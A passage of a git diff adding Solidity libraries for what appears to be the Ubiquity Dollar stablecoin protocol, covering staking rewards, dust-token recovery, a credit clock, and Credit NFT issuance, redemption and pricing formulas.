reward debt + */ + function getStakingShareInfo( + uint256 _id + ) internal view returns (uint256[2] memory) { + StakingShareInfo memory ss = chefStorage().ssInfo[_id]; + return [ss.amount, ss.rewardDebt]; + } + + /** + * @notice Total amount of Dollar-3CRV LP tokens deposited to the Staking contract + * @return Total amount of deposited LP tokens + */ + function totalShares() internal view returns (uint256) { + return chefStorage().totalShares; + } + + /** + * @notice Returns amount of pending reward Governance tokens + * @param stakingShareID Staking share id + * @return Amount of pending reward Governance tokens + */ + function pendingGovernance( + uint256 stakingShareID + ) internal view returns (uint256) { + ChefStorage storage cs = chefStorage(); + StakingShareInfo storage user = cs.ssInfo[stakingShareID]; + uint256 accGovernancePerShare = cs.pool.accGovernancePerShare; + + if (block.number > cs.pool.lastRewardBlock && cs.totalShares != 0) { + uint256 multiplier = _getMultiplier(); + uint256 governanceReward = (multiplier * cs.governancePerBlock) / + 1e18; + accGovernancePerShare = + accGovernancePerShare + + ((governanceReward * 1e12) / cs.totalShares); + } + return (user.amount * accGovernancePerShare) / 1e12 - user.rewardDebt; + } + + /** + * @notice Deposits Dollar-3CRV LP tokens to staking for Governance tokens allocation + * @param to Address where to transfer pending Governance token rewards + * @param _amount Amount of LP tokens to deposit + * @param _stakingShareID Staking share id + */ + function deposit( + address to, + uint256 _amount, + uint256 _stakingShareID + ) internal { + ChefStorage storage cs = chefStorage(); + StakingShareInfo storage ss = cs.ssInfo[_stakingShareID]; + _updatePool(); + if (ss.amount > 0) { + uint256 pending = ((ss.amount * cs.pool.accGovernancePerShare) / + 1e12) - ss.rewardDebt; + _safeGovernanceTransfer(to, pending); + } + ss.amount += _amount; + ss.rewardDebt = (ss.amount * cs.pool.accGovernancePerShare) / 1e12; + chefStorage().totalShares += _amount; + emit Deposit(to, _amount, _stakingShareID); + } + + /** + * @notice Updates Governance token multiplier if Dollar price diff > `minPriceDiffToUpdateMultiplier` + */ + function _updateGovernanceMultiplier() internal { + AppStorage storage store = LibAppStorage.appStorage(); + ChefStorage storage cs = chefStorage(); + // (1.05/(1+abs(1-TWAP_PRICE))) + uint256 currentPrice = ICurveStableSwapMetaNG( + store.stableSwapMetaPoolAddress + ).price_oracle(0); + bool isPriceDiffEnough = false; + // a minimum price variation is needed to update the multiplier + if (currentPrice > cs.lastPrice) { + isPriceDiffEnough = + currentPrice - cs.lastPrice > cs.minPriceDiffToUpdateMultiplier; + } else { + isPriceDiffEnough = + cs.lastPrice - currentPrice > cs.minPriceDiffToUpdateMultiplier; + } + if (isPriceDiffEnough) { + cs.governanceMultiplier = LibStakingFormulas.governanceMultiply( + cs.governanceMultiplier, + currentPrice + ); + cs.lastPrice = currentPrice; + } + } + + /** + * @notice Updates reward variables of the given pool to be up-to-date + */ + function _updatePool() internal { + ChefStorage storage cs = chefStorage(); + PoolInfo storage _pool = cs.pool; + if (block.number <= _pool.lastRewardBlock) { + return; + } + _updateGovernanceMultiplier(); + + if (cs.totalShares == 0) { + _pool.lastRewardBlock = block.number; + return; + } + address governanceTokenAddress = LibAppStorage + .appStorage() + .governanceTokenAddress; + address treasuryAddress = LibAppStorage.appStorage().treasuryAddress; + uint256 multiplier = _getMultiplier(); + uint256 governanceReward = (multiplier * cs.governancePerBlock) / 1e18; + IERC20Ubiquity(governanceTokenAddress).mint( + address(this), + governanceReward + ); + // mint another x% for the treasury + IERC20Ubiquity(governanceTokenAddress).mint( + treasuryAddress, + governanceReward / cs.governanceDivider + ); + _pool.accGovernancePerShare = + _pool.accGovernancePerShare + + ((governanceReward * 1e12) / cs.totalShares); + _pool.lastRewardBlock = block.number; + } + + /** + * @notice Safe Governance Token transfer function, just in case if rounding + * error causes pool not to have enough Governance tokens + * @param _to Address where to transfer Governance tokens + * @param _amount Amount of Governance tokens to transfer + */ + function _safeGovernanceTransfer(address _to, uint256 _amount) internal { + IERC20Ubiquity governanceToken = IERC20Ubiquity( + LibAppStorage.appStorage().governanceTokenAddress + ); + uint256 governanceBalance = governanceToken.balanceOf(address(this)); + if (_amount > governanceBalance) { + governanceToken.safeTransfer(_to, governanceBalance); + } else { + governanceToken.safeTransfer(_to, _amount); + } + } + + /** + * @notice Returns Governance token bonus multiplier based on number of passed blocks + * @return Governance token bonus multiplier + */ + function _getMultiplier() internal view returns (uint256) { + uint256 lastRewardBlock = chefStorage().pool.lastRewardBlock; + uint256 governanceMultiplier = chefStorage().governanceMultiplier; + return (block.number - lastRewardBlock) * governanceMultiplier; + } + + /** + * @notice Returns governance multiplier + * @return Governance multiplier + */ + function _getGovernanceMultiplier() internal view returns (uint256) { + return chefStorage().governanceMultiplier; + } +} diff --git a/packages/contracts/src/dollar/libraries/LibCollectableDust.sol b/packages/contracts/src/dollar/libraries/LibCollectableDust.sol new file mode 100644 index 000000000..3d2d486a8 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibCollectableDust.sol @@ -0,0 +1,101 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; +import {AddressUtils} from "./AddressUtils.sol"; +import {UintUtils} from "./UintUtils.sol"; +import {LibAppStorage} from "./LibAppStorage.sol"; +import "./Constants.sol"; + +/// @notice Library for collecting dust (i.e. not part of a protocol) tokens sent to a contract +library LibCollectableDust { + using SafeERC20 for IERC20; + using AddressUtils for address; + using EnumerableSet for EnumerableSet.AddressSet; + using UintUtils for uint256; + + /// @notice Emitted when dust tokens are sent to the `_to` address + event DustSent(address _to, address token, uint256 amount); + + /// @notice Emitted when token is added to a protocol + event ProtocolTokenAdded(address _token); + + /// @notice Emitted when token is removed from a protocol + event ProtocolTokenRemoved(address _token); + + /// @notice Struct used as a storage for the current library + struct Tokens { + EnumerableSet.AddressSet protocolTokens; + } + + /// @notice Storage slot used to store data for this library + bytes32 constant COLLECTABLE_DUST_CONTROL_STORAGE_SLOT = + bytes32( + uint256(keccak256("ubiquity.contracts.collectable.dust.storage")) - + 1 + ) & ~bytes32(uint256(0xff)); + + /** + * @notice Returns struct used as a storage for this library + * @return l Struct used as a storage + */ + function collectableDustStorage() internal pure returns (Tokens storage l) { + bytes32 slot = COLLECTABLE_DUST_CONTROL_STORAGE_SLOT; + assembly { + l.slot := slot + } + } + + /** + * @notice Adds token address to a protocol + * @param _token Token address to add + */ + function addProtocolToken(address _token) internal { + require( + !collectableDustStorage().protocolTokens.contains(_token), + "collectable-dust::token-is-part-of-the-protocol" + ); + collectableDustStorage().protocolTokens.add(_token); + emit ProtocolTokenAdded(_token); + } + + /** + * @notice Removes token address from a protocol + * @param _token Token address to remove + */ + function removeProtocolToken(address _token) internal { + require( + collectableDustStorage().protocolTokens.contains(_token), + "collectable-dust::token-not-part-of-the-protocol" + ); + collectableDustStorage().protocolTokens.remove(_token); + emit ProtocolTokenRemoved(_token); + } + + /** + * @notice Sends dust tokens (which are not part of a protocol) to the `_to` address + * @param _to Tokens receiver address + * @param _token Token address to send + * @param _amount Amount of tokens to send + */ + function sendDust(address _to, address _token, uint256 _amount) internal { + require( + _to != address(0), + "collectable-dust::cant-send-dust-to-zero-address" + ); + require( + !collectableDustStorage().protocolTokens.contains(_token), + "collectable-dust::token-is-part-of-the-protocol" + ); + if (_token == ETH_ADDRESS) { + (bool result, ) = _to.call{value: _amount}(""); + require(result, "Failed to send Ether"); + } else { + IERC20(_token).safeTransfer(_to, _amount); + } + emit DustSent(_to, _token, _amount); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibCreditClock.sol b/packages/contracts/src/dollar/libraries/LibCreditClock.sol new file mode 100644 index 000000000..6a818353e --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibCreditClock.sol @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "abdk/ABDKMathQuad.sol"; +import {LibAccessControl} from "./LibAccessControl.sol"; +import {IAccessControl} from "../interfaces/IAccessControl.sol"; +import "../libraries/Constants.sol"; + +/// @notice Library for Credit Clock Facet +library LibCreditClock { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /// @notice Emitted when depreciation rate per block is updated + event SetRatePerBlock( + uint256 rateStartBlock, + bytes16 rateStartValue, + bytes16 ratePerBlock + ); + + /// @notice Storage slot used to store data for this library + bytes32 constant CREDIT_CLOCK_STORAGE_POSITION = + bytes32( + uint256(keccak256("ubiquity.contracts.credit.clock.storage")) - 1 + ) & ~bytes32(uint256(0xff)); + + /// @notice Struct used as a storage for the current library + struct CreditClockData { + IAccessControl accessControl; + uint256 rateStartBlock; + bytes16 rateStartValue; + bytes16 ratePerBlock; + bytes16 one; + } + + /** + * @notice Returns struct used as a storage for this library + * @return data Struct used as a storage + */ + function creditClockStorage() + internal + pure + returns (CreditClockData storage data) + { + bytes32 position = CREDIT_CLOCK_STORAGE_POSITION; + assembly { + data.slot := position + } + } + + /** + * @notice Updates the manager address + * @param _manager New manager address + */ + function setManager(address _manager) internal { + creditClockStorage().accessControl = IAccessControl(_manager); + } + + /** + * @notice Returns the manager address + * @return Manager address + */ + function getManager() internal view returns (address) { + return address(creditClockStorage().accessControl); + } + + /** + * @notice Sets rate to apply from this block onward + * @param _ratePerBlock ABDKMathQuad new rate per block to apply from this block onward + */ + function setRatePerBlock(bytes16 _ratePerBlock) internal { + CreditClockData storage data = creditClockStorage(); + data.rateStartValue = getRate(block.number); + data.rateStartBlock = block.number; + data.ratePerBlock = _ratePerBlock; + + emit SetRatePerBlock( + data.rateStartBlock, + data.rateStartValue, + data.ratePerBlock + ); + } + + /** + * @notice Calculates `rateStartValue * (1 / ((1 + ratePerBlock)^blockNumber - rateStartBlock)))` + * @param blockNumber Block number to get the rate for. 0 for current block. + * @return rate ABDKMathQuad rate calculated for the block number + */ + function getRate(uint256 blockNumber) internal view returns (bytes16 rate) { + CreditClockData storage data = creditClockStorage(); + if (blockNumber == 0) { + blockNumber = block.number; + } else { + if (blockNumber < block.number) { + revert("CreditClock: block number must not be in the past."); + } + } + // slither-disable-next-line divide-before-multiply + rate = data.rateStartValue.mul( + data.one.div( + // b ^ n == 2^(n*log²(b)) + (blockNumber - data.rateStartBlock) + .fromUInt() + .mul(data.one.add(data.ratePerBlock).log_2()) + .pow_2() + ) + ); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibCreditNftManager.sol b/packages/contracts/src/dollar/libraries/LibCreditNftManager.sol new file mode 100644 index 000000000..5b04cc50d --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibCreditNftManager.sol @@ -0,0 +1,484 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import {CreditNft} from "../../dollar/core/CreditNft.sol"; +import {CREDIT_NFT_MANAGER_ROLE} from "./Constants.sol"; +import {ICurveStableSwapMetaNG} from "../interfaces/ICurveStableSwapMetaNG.sol"; +import {IERC20Ubiquity} from "../../dollar/interfaces/IERC20Ubiquity.sol"; +import {IDollarMintExcess} from "../../dollar/interfaces/IDollarMintExcess.sol"; +import {LibAppStorage, AppStorage} from "./LibAppStorage.sol"; +import {LibCreditRedemptionCalculator} from "./LibCreditRedemptionCalculator.sol"; +import {LibCreditNftRedemptionCalculator} from "./LibCreditNftRedemptionCalculator.sol"; +import {UbiquityCreditToken} from "../../dollar/core/UbiquityCreditToken.sol"; +import {LibAccessControl} from "./LibAccessControl.sol"; +import {IDollarMintCalculator} from "../../dollar/interfaces/IDollarMintCalculator.sol"; + +/** + * @notice Library for basic credit issuing and redemption mechanism for Credit NFT and Credit holders + * @notice Allows users to burn their Dollars in exchange for Credit NFTs or Credits redeemable in the future + * @notice Allows users to: + * - redeem individual Credit NFT or batch redeem Credit NFT on a first-come first-serve basis + * - redeem Credits for Dollars + */ +library LibCreditNftManager { + using SafeERC20 for IERC20Ubiquity; + + /// @notice Storage slot used to store data for this library + bytes32 constant CREDIT_NFT_MANAGER_STORAGE_SLOT = + bytes32( + uint256( + keccak256("ubiquity.contracts.credit.nft.manager.storage") + ) - 1 + ) & ~bytes32(uint256(0xff)); + + /// @notice Emitted when Credit NFT to Governance conversion rate was updated + event ExpiredCreditNftConversionRateChanged( + uint256 newRate, + uint256 previousRate + ); + + /// @notice Emitted when Credit NFT block expiration length was updated + event CreditNftLengthChanged( + uint256 newCreditNftLengthBlocks, + uint256 previousCreditNftLengthBlocks + ); + + /// @notice Struct used as a storage for the current library + struct CreditNftManagerData { + //the amount of dollars we minted this cycle, so we can calculate delta. + // should be reset to 0 when cycle ends + uint256 dollarsMintedThisCycle; + uint256 blockHeightDebt; + uint256 creditNftLengthBlocks; + uint256 expiredCreditNftConversionRate; + bool debtCycle; + } + + /** + * @notice Returns struct used as a storage for this library + * @return l Struct used as a storage + */ + function creditNftStorage() + internal + pure + returns (CreditNftManagerData storage l) + { + bytes32 slot = CREDIT_NFT_MANAGER_STORAGE_SLOT; + assembly { + l.slot := slot + } + } + + /** + * @notice Returns Credit NFT to Governance conversion rate + * @return Conversion rate + */ + function expiredCreditNftConversionRate() internal view returns (uint256) { + return creditNftStorage().expiredCreditNftConversionRate; + } + + /** + * @notice Credit NFT to Governance conversion rate + * @notice When Credit NFTs are expired they can be converted to + * Governance tokens using `rate` conversion rate + * @param rate Credit NFT to Governance tokens conversion rate + */ + function setExpiredCreditNftConversionRate(uint256 rate) internal { + emit ExpiredCreditNftConversionRateChanged( + rate, + creditNftStorage().expiredCreditNftConversionRate + ); + creditNftStorage().expiredCreditNftConversionRate = rate; + } + + /** + * @notice Sets Credit NFT block lifespan + * @param _creditNftLengthBlocks The number of blocks during which Credit NFTs can be + * redeemed for Dollars + */ + function setCreditNftLength(uint256 _creditNftLengthBlocks) internal { + emit CreditNftLengthChanged( + _creditNftLengthBlocks, + creditNftStorage().creditNftLengthBlocks + ); + creditNftStorage().creditNftLengthBlocks = _creditNftLengthBlocks; + } + + /** + * @notice Returns Credit NFT block lifespan + * @return Number of blocks during which Credit NFTs can be + * redeemed for Dollars + */ + function creditNftLengthBlocks() internal view returns (uint256) { + return creditNftStorage().creditNftLengthBlocks; + } + + /** + * @notice Burns Dollars in exchange for Credit NFTs + * @notice Should only be called when Dollar price < 1$ + * @param amount Amount of Dollars to exchange for Credit NFTs + * @return Expiry block number when Credit NFTs can no longer be redeemed for Dollars + */ + function exchangeDollarsForCreditNft( + uint256 amount + ) internal returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + + uint256 twapPrice = ICurveStableSwapMetaNG( + store.stableSwapMetaPoolAddress + ).price_oracle(0); + require( + twapPrice < 1 ether, + "Price must be below 1 to mint Credit NFT" + ); + + CreditNft creditNft = CreditNft( + LibAppStorage.appStorage().creditNftAddress + ); + creditNft.updateTotalDebt(); + CreditNftManagerData storage cs = creditNftStorage(); + //we are in a down cycle so reset the cycle counter + // and set the blockHeight Debt + if (!cs.debtCycle) { + cs.debtCycle = true; + cs.blockHeightDebt = block.number; + cs.dollarsMintedThisCycle = 0; + } + + uint256 creditNftToMint = LibCreditNftRedemptionCalculator + .getCreditNftAmount(amount); + + // we burn user's dollars. + IERC20Ubiquity(LibAppStorage.appStorage().dollarTokenAddress).burnFrom( + msg.sender, + amount + ); + + uint256 expiryBlockNumber = block.number + (cs.creditNftLengthBlocks); + creditNft.mintCreditNft(msg.sender, creditNftToMint, expiryBlockNumber); + + //give the caller the block number of the minted nft + return expiryBlockNumber; + } + + /** + * @notice Burns Dollars in exchange for Credit tokens + * @notice Should only be called when Dollar price < 1$ + * @param amount Amount of Dollars to burn + * @return Amount of Credits minted + */ + function exchangeDollarsForCredit( + uint256 amount + ) internal returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + + uint256 twapPrice = ICurveStableSwapMetaNG( + store.stableSwapMetaPoolAddress + ).price_oracle(0); + require(twapPrice < 1 ether, "Price must be below 1 to mint Credit"); + + CreditNft creditNft = CreditNft(store.creditNftAddress); + creditNft.updateTotalDebt(); + + //we are in a down cycle so reset the cycle counter + // and set the blockHeight Debt + if (!creditNftStorage().debtCycle) { + CreditNftManagerData storage cs = creditNftStorage(); + cs.debtCycle = true; + cs.blockHeightDebt = block.number; + cs.dollarsMintedThisCycle = 0; + } + + uint256 creditToMint = LibCreditRedemptionCalculator.getCreditAmount( + amount, + creditNftStorage().blockHeightDebt + ); + + // we burn user's dollars. + IERC20Ubiquity(store.dollarTokenAddress).burnFrom(msg.sender, amount); + // mint Credit + UbiquityCreditToken creditToken = UbiquityCreditToken( + store.creditTokenAddress + ); + creditToken.mint(msg.sender, creditToMint); + + //give minted Credit amount + return creditToMint; + } + + /** + * @notice Returns amount of Credit NFTs to be minted for the `amount` of Dollars to burn + * @param amount Amount of Dollars to burn + * @return Amount of Credit NFTs to be minted + */ + function getCreditNftReturnedForDollars( + uint256 amount + ) internal view returns (uint256) { + return LibCreditNftRedemptionCalculator.getCreditNftAmount(amount); + } + + /** + * @notice Returns the amount of Credit tokens to be minter for the provided `amount` of Dollars to burn + * @param amount Amount of Dollars to burn + * @return Amount of Credits to be minted + */ + function getCreditReturnedForDollars( + uint256 amount + ) internal view returns (uint256) { + return + LibCreditRedemptionCalculator.getCreditAmount( + amount, + creditNftStorage().blockHeightDebt + ); + } + + /** + * @notice Handles the receipt of a single ERC1155 token type. This function is + * called at the end of a `safeTransferFrom` after the balance has been updated. + * + * NOTE: To accept the transfer, this must return + * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` + * (i.e. 0xf23a6e61, or its own function selector). + * + * @param operator The address which initiated the transfer (i.e. msg.sender) + * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed + */ + function onERC1155Received( + address operator, + address, + uint256, + uint256, + bytes calldata + ) internal view returns (bytes4) { + if (LibAccessControl.hasRole(CREDIT_NFT_MANAGER_ROLE, operator)) { + //allow the transfer since it originated from this contract + return + bytes4( + keccak256( + "onERC1155Received(address,address,uint256,uint256,bytes)" + ) + ); + } else { + //reject the transfer + return ""; + } + } + + /** + * @notice Burns expired Credit NFTs for Governance tokens at `expiredCreditNftConversionRate` rate + * @param id Credit NFT timestamp + * @param amount Amount of Credit NFTs to burn + * @return governanceAmount Amount of Governance tokens minted to Credit NFT holder + */ + function burnExpiredCreditNftForGovernance( + uint256 id, + uint256 amount + ) public returns (uint256 governanceAmount) { + // Check whether Credit NFT hasn't expired --> Burn Credit NFT. + CreditNft creditNft = CreditNft( + LibAppStorage.appStorage().creditNftAddress + ); + + require(id <= block.number, "Credit NFT has not expired"); + require( + creditNft.balanceOf(msg.sender, id) >= amount, + "User not enough Credit NFT" + ); + + creditNft.burnCreditNft(msg.sender, amount, id); + + // Mint Governance Token to this contract. Transfer Governance Token to msg.sender i.e. Credit NFT holder + IERC20Ubiquity governanceToken = IERC20Ubiquity( + LibAppStorage.appStorage().governanceTokenAddress + ); + governanceAmount = + amount / + creditNftStorage().expiredCreditNftConversionRate; + governanceToken.mint(msg.sender, governanceAmount); + } + + /** + * TODO: Should we leave it ? + * @notice Burns Credit NFTs for Credit tokens + * @param id Credit NFT timestamp + * @param amount Amount of Credit NFTs to burn + * @return Credit tokens balance of `msg.sender` + */ + function burnCreditNftForCredit( + uint256 id, + uint256 amount + ) public returns (uint256) { + // Check whether Credit NFT hasn't expired --> Burn Credit NFT. + CreditNft creditNft = CreditNft( + LibAppStorage.appStorage().creditNftAddress + ); + require(id > block.timestamp, "Credit NFT has expired"); + require( + creditNft.balanceOf(msg.sender, id) >= amount, + "User not enough Credit NFT" + ); + + creditNft.burnCreditNft(msg.sender, amount, id); + + // Mint LP tokens to this contract. Transfer LP tokens to msg.sender i.e. Credit NFT holder + UbiquityCreditToken creditToken = UbiquityCreditToken( + LibAppStorage.appStorage().creditTokenAddress + ); + creditToken.mint(address(this), amount); + creditToken.transfer(msg.sender, amount); + + return creditToken.balanceOf(msg.sender); + } + + /** + * @notice Burns Credit tokens for Dollars when Dollar price > 1$ + * @param amount Amount of Credits to burn + * @return Amount of unredeemed Credits + */ + function burnCreditTokensForDollars( + uint256 amount + ) public returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + + uint256 twapPrice = ICurveStableSwapMetaNG( + store.stableSwapMetaPoolAddress + ).price_oracle(0); + require(twapPrice > 1 ether, "Price must be above 1"); + + if (creditNftStorage().debtCycle) { + creditNftStorage().debtCycle = false; + } + UbiquityCreditToken creditToken = UbiquityCreditToken( + LibAppStorage.appStorage().creditTokenAddress + ); + require( + creditToken.balanceOf(msg.sender) >= amount, + "User doesn't have enough Credit pool tokens." + ); + IERC20Ubiquity dollar = IERC20Ubiquity( + LibAppStorage.appStorage().dollarTokenAddress + ); + uint256 maxRedeemableCredit = dollar.balanceOf(address(this)); + + if (maxRedeemableCredit <= 0) { + mintClaimableDollars(); + maxRedeemableCredit = dollar.balanceOf(address(this)); + } + + uint256 creditToRedeem = amount; + if (amount > maxRedeemableCredit) { + creditToRedeem = maxRedeemableCredit; + } + creditToken.burnFrom(msg.sender, creditToRedeem); + dollar.transfer(msg.sender, creditToRedeem); + + return amount - creditToRedeem; + } + + /** + * @notice Burns Credit NFTs for Dollars when Dollar price > 1$ + * @param id Credit NFT expiry block number + * @param amount Amount of Credit NFTs to burn + * @return Amount of unredeemed Credit NFTs + */ + function redeemCreditNft( + uint256 id, + uint256 amount + ) public returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + + uint256 twapPrice = ICurveStableSwapMetaNG( + store.stableSwapMetaPoolAddress + ).price_oracle(0); + require( + twapPrice > 1 ether, + "Price must be above 1 to redeem Credit NFT" + ); + if (creditNftStorage().debtCycle) { + creditNftStorage().debtCycle = false; + } + CreditNft creditNft = CreditNft(store.creditNftAddress); + + require(id > block.number, "Credit NFT has expired"); + require( + creditNft.balanceOf(msg.sender, id) >= amount, + "User not enough Credit NFT" + ); + + mintClaimableDollars(); + + UbiquityCreditToken creditToken = UbiquityCreditToken( + store.creditTokenAddress + ); + IERC20Ubiquity dollar = IERC20Ubiquity(store.dollarTokenAddress); + // Credit have a priority on Credit NFT holder + require( + creditToken.totalSupply() <= dollar.balanceOf(address(this)), + "There aren't enough Dollar to redeem currently" + ); + uint256 maxRedeemableCreditNft = dollar.balanceOf(address(this)) - + creditToken.totalSupply(); + uint256 creditNftToRedeem = amount; + + if (amount > maxRedeemableCreditNft) { + creditNftToRedeem = maxRedeemableCreditNft; + } + require( + dollar.balanceOf(address(this)) > 0, + "There aren't any Dollar to redeem currently" + ); + + // creditNftManager must be an operator to transfer on behalf of msg.sender + creditNft.burnCreditNft(msg.sender, creditNftToRedeem, id); + + dollar.transfer(msg.sender, creditNftToRedeem); + + return amount - (creditNftToRedeem); + } + + /** + * @notice Mints Dollars when Dollar price > 1$ + * @notice Distributes excess Dollars this way: + * - 50% goes to the treasury address + * - 10% goes for burning Dollar-Governance LP tokens in a DEX pool + * - 40% goes to the Staking contract + */ + function mintClaimableDollars() public { + AppStorage storage store = LibAppStorage.appStorage(); + + CreditNft creditNft = CreditNft(store.creditNftAddress); + creditNft.updateTotalDebt(); + + uint256 totalMintableDollars = IDollarMintCalculator(address(this)) + .getDollarsToMint(); + uint256 dollarsToMint = totalMintableDollars - + (creditNftStorage().dollarsMintedThisCycle); + //update the dollars for this cycle + creditNftStorage().dollarsMintedThisCycle = totalMintableDollars; + + // Dollar should be minted to address(this) + IERC20Ubiquity dollar = IERC20Ubiquity(store.dollarTokenAddress); + dollar.mint(address(this), dollarsToMint); + UbiquityCreditToken creditToken = UbiquityCreditToken( + store.creditTokenAddress + ); + + uint256 currentRedeemableBalance = dollar.balanceOf(address(this)); + uint256 totalOutstandingDebt = creditNft.getTotalOutstandingDebt() + + creditToken.totalSupply(); + + if (currentRedeemableBalance > totalOutstandingDebt) { + uint256 excessDollars = currentRedeemableBalance - + (totalOutstandingDebt); + + IDollarMintExcess dollarsDistributor = IDollarMintExcess( + address(this) + ); + // transfer excess dollars to the distributor and tell it to distribute + dollar.transfer(address(this), excessDollars); + dollarsDistributor.distributeDollars(); + } + } +} diff --git a/packages/contracts/src/dollar/libraries/LibCreditNftRedemptionCalculator.sol b/packages/contracts/src/dollar/libraries/LibCreditNftRedemptionCalculator.sol new file mode 100644 index 000000000..10f7b6f29 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibCreditNftRedemptionCalculator.sol @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "abdk/ABDKMathQuad.sol"; + +import {CreditNft} from "../../dollar/core/CreditNft.sol"; +import {LibAppStorage, AppStorage} from "./LibAppStorage.sol"; + +/// @notice Library for calculating amount of Credit NFTs to mint on Dollars burn +library LibCreditNftRedemptionCalculator { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /** + * @notice Returns Credit NFT amount minted for `dollarsToBurn` amount of Dollars to burn + * @param dollarsToBurn Amount of Dollars to burn + * @return Amount of Credit NFTs to mint + */ + function getCreditNftAmount( + uint256 dollarsToBurn + ) internal view returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + address creditNftAddress = store.creditNftAddress; + CreditNft cNFT = CreditNft(creditNftAddress); + require( + cNFT.getTotalOutstandingDebt() < + IERC20(store.dollarTokenAddress).totalSupply(), + "CreditNft to Dollar: DEBT_TOO_HIGH" + ); + bytes16 one = uint256(1).fromUInt(); + bytes16 totalDebt = cNFT.getTotalOutstandingDebt().fromUInt(); + bytes16 r = totalDebt.div( + IERC20(store.dollarTokenAddress).totalSupply().fromUInt() + ); + + bytes16 oneMinusRAllSquared = (one.sub(r)).mul(one.sub(r)); + bytes16 res = one.div(oneMinusRAllSquared); + return res.mul(dollarsToBurn.fromUInt()).toUInt(); + } +} diff --git a/packages/contracts/src/dollar/libraries/LibCreditRedemptionCalculator.sol b/packages/contracts/src/dollar/libraries/LibCreditRedemptionCalculator.sol new file mode 100644 index 000000000..c27bd9678 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibCreditRedemptionCalculator.sol @@ -0,0 +1,89 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "abdk/ABDKMathQuad.sol"; +import {CreditNft} from "../../dollar/core/CreditNft.sol"; +import {LibAppStorage, AppStorage} from "./LibAppStorage.sol"; + +/// @notice Library for calculating amount of Credits to mint on Dollars burn +library LibCreditRedemptionCalculator { + using ABDKMathQuad for uint256; + using ABDKMathQuad for bytes16; + + /// @notice Struct used as a storage for the current library + struct CreditRedemptionCalculatorData { + uint256 coef; + } + + /** + * @notice Returns struct used as a storage for this library + * @return l Struct used as a storage + */ + function creditRedemptionCalculatorStorage() + internal + pure + returns (CreditRedemptionCalculatorData storage l) + { + bytes32 slot = CREDIT_REDEMPTION_CALCULATOR_STORAGE_SLOT; + assembly { + l.slot := slot + } + } + + /// @notice Storage slot used to store data for this library + bytes32 constant CREDIT_REDEMPTION_CALCULATOR_STORAGE_SLOT = + bytes32( + uint256( + keccak256( + "ubiquity.contracts.credit.redemption.calculator.storage" + ) + ) - 1 + ) & ~bytes32(uint256(0xff)); + + /** + * @notice Sets the `p` param in the Credit mint calculation formula: + * `y = x * ((BlockDebtStart / BlockBurn) ^ p)` + * @param coef New `p` param in wei + */ + function setConstant(uint256 coef) internal { + creditRedemptionCalculatorStorage().coef = coef; + } + + /** + * @notice Returns the `p` param used in the Credit mint calculation formula + * @return `p` param + */ + function getConstant() internal view returns (uint256) { + return creditRedemptionCalculatorStorage().coef; + } + + /** + * @notice Returns amount of Credits to mint for `dollarsToBurn` amount of Dollars to burn + * @param dollarsToBurn Amount of Dollars to burn + * @param blockHeightDebt Block number when the latest debt cycle started (i.e. when Dollar price became < 1$) + * @return Amount of Credits to mint + */ + function getCreditAmount( + uint256 dollarsToBurn, + uint256 blockHeightDebt + ) internal view returns (uint256) { + AppStorage storage store = LibAppStorage.appStorage(); + address creditNftAddress = store.creditNftAddress; + CreditNft cNFT = CreditNft(creditNftAddress); + require( + cNFT.getTotalOutstandingDebt() < + IERC20(store.dollarTokenAddress).totalSupply(), + "Credit to Dollar: DEBT_TOO_HIGH" + ); + bytes16 coef = creditRedemptionCalculatorStorage().coef.fromUInt().div( + (uint256(1 ether)).fromUInt() + ); + bytes16 curBlock = uint256(block.number).fromUInt(); + bytes16 multiplier = blockHeightDebt.fromUInt().div(curBlock); + // x^a = e^(a*lnx(x)) so multiplier^(_coef) = e^(_coef*lnx(multiplier)) + bytes16 op = (coef.mul(multiplier.ln())).exp(); + uint256 res = dollarsToBurn.fromUInt().mul(op).toUInt(); + return res; + } +} diff --git a/packages/contracts/src/dollar/libraries/LibCurveDollarIncentive.sol b/packages/contracts/src/dollar/libraries/LibCurveDollarIncentive.sol new file mode 100644 index 000000000..4114c92e2 --- /dev/null +++ b/packages/contracts/src/dollar/libraries/LibCurveDollarIncentive.sol @@ -0,0 +1,217 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; +import "../core/UbiquityDollarToken.sol"; +import "../interfaces/IUbiquityGovernance.sol"; +import "abdk/ABDKMathQuad.sol"; +import "./Constants.sol"; +import {ICurveStableSwapMetaNG} from "../interfaces/ICurveStableSwapMetaNG.sol"; +import {AppStorage, LibAppStorage} from "./LibAppStorage.sol"; + +/** + * @notice Library adds buy incentive and sell penalty for Curve's Dollar-3CRV MetaPool 